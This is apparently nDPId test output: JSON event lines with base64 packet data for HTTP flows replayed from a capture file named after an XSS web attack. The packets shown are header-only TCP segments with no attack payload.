+00443{"flow_id":320,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4541,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347512,"pkt_ts_usec":81654,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4nwCiqB4CpsVpqAScSDsHgAAAgQFtAQCCAoD5M0FATr7kAEDAwc="} +00431{"flow_id":320,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4542,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347512,"pkt_ts_usec":82228,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07jZAAD4G16GsEAABwKgKMuJ8AFAKmxWmAoqgeYAQAOWLJgAAAQEICgE6+5AD5M0F"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4549,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":321,"flow_packet_id":1,"flow_first_seen":1499347513353,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57994,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":321,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4549,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347513,"pkt_ts_usec":353022,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ef1AAD4GS9OsEAABwKgKMuKKAFAHuIUzAAAAAKACchDxNAAAAgQFtAQCCAoBOvzOAAAAAAEDAwc="} +00445{"flow_id":321,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4550,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347513,"pkt_ts_usec":353123,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4oqWR\/ViB7iFNKAScSCUQQAAAgQFtAQCCAoD5M5DATr8zgEDAwc="} +00433{"flow_id":321,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4551,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347513,"pkt_ts_usec":353725,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ef5AAD4GS9qsEAABwKgKMuKKAFAHuIU0lkf1Y4AQAOUzSQAAAQEICgE6\/M4D5M5D"} +00434{"flow_id":318,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4555,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347513,"pkt_ts_usec":752663,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QeRAAD4Gg\/SsEAABwKgKMuJUAFDv7LYJrEGkL4ARAOVaLgAAAQEICgE6\/TID5Mlf"} +00432{"flow_id":318,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4556,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347513,"pkt_ts_usec":752856,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0aohAAEAGWVDAqAoyrBAAAQBQ4lSsQaQv7+y2CoARAONU5wAAAQEICgPkzqcBOv0y"} +00434{"flow_id":318,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4557,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347513,"pkt_ts_usec":753618,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QeVAAD4Gg\/OsEAABwKgKMuJUAFDv7LYKrEGkMIAQAOVU5QAAAQEICgE6\/TID5M6n"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4561,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":322,"flow_packet_id":1,"flow_first_seen":1499347514648,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58008,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":322,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4561,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347514,"pkt_ts_usec":648083,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA81oFAAD4G706sEAABwKgKMuKYAFBs5yiTAAAAAKACchDnUwAAAgQFtAQCCAoBOv4SAAAAAAEDAwc="} +00444{"flow_id":322,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4562,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347514,"pkt_ts_usec":648183,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4pgH3WT1bOcolKAScSCn9AAAAgQFtAQCCAoD5M+HATr+EgEDAwc="} +00434{"flow_id":322,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4563,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347514,"pkt_ts_usec":648952,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01oJAAD4G71WsEAABwKgKMuKYAFBs5yiUB91k9oAQAOVG\/AAAAQEICgE6\/hID5M+H"} +00433{"flow_id":319,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4567,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347514,"pkt_ts_usec":753077,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0U2hAAD4GcnCsEAABwKgKMuJiAFBgjKpDR6CvmIARAOVMSwAAAQEICgE6\/iwD5MqZ"} +00433{"flow_id":319,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4568,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347514,"pkt_ts_usec":753317,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0YDlAAEAGY5\/AqAoyrBAAAQBQ4mJHoK+YYIyqRIARAONHRAAAAQEICgPkz6EBOv4s"} +00433{"flow_id":319,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4569,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347514,"pkt_ts_usec":754032,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0U2lAAD4Gcm+sEAABwKgKMuJiAFBgjKpER6CvmYAQAOVHQgAAAQEICgE6\/iwD5M+h"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4576,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":279,"flow_packet_id":6,"flow_first_seen":1499347442626,"flow_last_seen":1499347447735,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57238,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4576,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":279,"flow_packet_id":6,"flow_first_seen":1499347442626,"flow_last_seen":1499347447735,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57238,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4576,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":280,"flow_packet_id":6,"flow_first_seen":1499347445158,"flow_last_seen":1499347450735,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57264,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4576,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":280,"flow_packet_id":6,"flow_first_seen":1499347445158,"flow_last_seen":1499347450735,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57264,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4576,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":281,"flow_packet_id":6,"flow_first_seen":1499347446419,"flow_last_seen":1499347451735,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57278,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4576,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":281,"flow_packet_id":6,"flow_first_seen":1499347446419,"flow_last_seen":1499347451735,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57278,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4576,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":282,"flow_packet_id":6,"flow_first_seen":1499347447671,"flow_last_seen":1499347452736,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57292,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4576,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":282,"flow_packet_id":6,"flow_first_seen":1499347447671,"flow_last_seen":1499347452736,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57292,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4576,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":283,"flow_packet_id":6,"flow_first_seen":1499347450180,"flow_last_seen":1499347455736,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57318,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4576,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":283,"flow_packet_id":6,"flow_first_seen":1499347450180,"flow_last_seen":1499347455736,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57318,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4576,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":284,"flow_packet_id":6,"flow_first_seen":1499347451427,"flow_last_seen":1499347456736,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57332,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4576,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":284,"flow_packet_id":6,"flow_first_seen":1499347451427,"flow_last_seen":1499347456736,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57332,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4579,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":323,"flow_packet_id":1,"flow_first_seen":1499347517171,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58034,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":323,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4579,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347517,"pkt_ts_usec":171667,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8PfRAAD4Gh9ysEAABwKgKMuKyAFAJ1z18AAAAAKACchAy6wAAAgQFtAQCCAoBOwCIAAAAAAEDAwc="} +00444{"flow_id":323,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4580,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347517,"pkt_ts_usec":171771,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4rJwyiE5Cdc9faAScSDL4wAAAgQFtAQCCAoD5NH+ATsAiAEDAwc="} +00432{"flow_id":323,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4581,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347517,"pkt_ts_usec":172550,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0PfVAAD4Gh+OsEAABwKgKMuKyAFAJ1z19cMohOoAQAOVq6gAAAQEICgE7AIkD5NH+"} +00432{"flow_id":320,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4585,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347517,"pkt_ts_usec":753204,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07jdAAD4G16CsEAABwKgKMuJ8AFAKmxWmAoqgeYARAOWFmwAAAQEICgE7ARoD5M0F"} +00432{"flow_id":320,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4586,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347517,"pkt_ts_usec":753427,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0cvZAAEAGUOLAqAoyrBAAAQBQ4nwCiqB5CpsVp4ARAOOAEgAAAQEICgPk0o8BOwEa"} +00432{"flow_id":320,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4587,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347517,"pkt_ts_usec":753952,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07jhAAD4G15+sEAABwKgKMuJ8AFAKmxWnAoqgeoAQAOWAEAAAAQEICgE7ARoD5NKP"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4591,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":324,"flow_packet_id":1,"flow_first_seen":1499347518410,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58048,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":324,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4591,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347518,"pkt_ts_usec":410024,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8FGZAAD4GsWqsEAABwKgKMuLAAFAhaxXYAAAAAKACchBBtwAAAgQFtAQCCAoBOwG+AAAAAAEDAwc="} +00444{"flow_id":324,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4592,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347518,"pkt_ts_usec":410180,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4sCWVenKIWsV2aAScSDrXAAAAgQFtAQCCAoD5NM0ATsBvgEDAwc="} +00432{"flow_id":324,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4593,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347518,"pkt_ts_usec":410865,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0FGdAAD4GsXGsEAABwKgKMuLAAFAhaxXZllXpy4AQAOWKZAAAAQEICgE7Ab4D5NM0"} +00432{"flow_id":321,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4597,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347518,"pkt_ts_usec":753167,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ef9AAD4GS9msEAABwKgKMuKKAFAHuIU0lkf1Y4ARAOUuAgAAAQEICgE7AhQD5M5D"} +00433{"flow_id":321,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4598,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347518,"pkt_ts_usec":753364,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0JupAAEAGnO7AqAoyrBAAAQBQ4oqWR\/VjB7iFNYARAOMovQAAAQEICgPk04kBOwIU"} +00432{"flow_id":321,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4599,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347518,"pkt_ts_usec":754021,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0egBAAD4GS9isEAABwKgKMuKKAFAHuIU1lkf1ZIAQAOUouwAAAQEICgE7AhQD5NOJ"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4603,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":325,"flow_packet_id":1,"flow_first_seen":1499347519679,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58062,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":325,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4603,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347519,"pkt_ts_usec":679510,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8A+RAAD4GweysEAABwKgKMuLOAFBZkgEfAAAAAKACchAc\/gAAAgQFtAQCCAoBOwL7AAAAAAEDAwc="} +00445{"flow_id":325,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4604,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347519,"pkt_ts_usec":679602,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4s4k\/bw4WZIBIKAScSBkUQAAAgQFtAQCCAoD5NRxATsC+wEDAwc="} +00432{"flow_id":325,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4605,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347519,"pkt_ts_usec":680191,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0A+VAAD4GwfOsEAABwKgKMuLOAFBZkgEgJP28OYAQAOUDWAAAAQEICgE7AvwD5NRx"} +00433{"flow_id":322,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4609,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347519,"pkt_ts_usec":753504,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01oNAAD4G71SsEAABwKgKMuKYAFBs5yiUB91k9oARAOVB\/wAAAQEICgE7Aw4D5M+H"} +00432{"flow_id":322,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4610,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347519,"pkt_ts_usec":753667,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0sHVAAEAGE2PAqAoyrBAAAQBQ4pgH3WT2bOcolYARAOM9BAAAAQEICgPk1IMBOwMO"} +00432{"flow_id":322,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4611,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347519,"pkt_ts_usec":754244,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01oRAAD4G71OsEAABwKgKMuKYAFBs5yiVB91k94AQAOU9AgAAAQEICgE7Aw4D5NSD"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4621,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":326,"flow_packet_id":1,"flow_first_seen":1499347522204,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58088,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":326,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4621,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347522,"pkt_ts_usec":204574,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8G91AAD4GqfOsEAABwKgKMuLoAFAaMR6uAAAAAKACchA8PgAAAgQFtAQCCAoBOwVzAAAAAAEDAwc="} 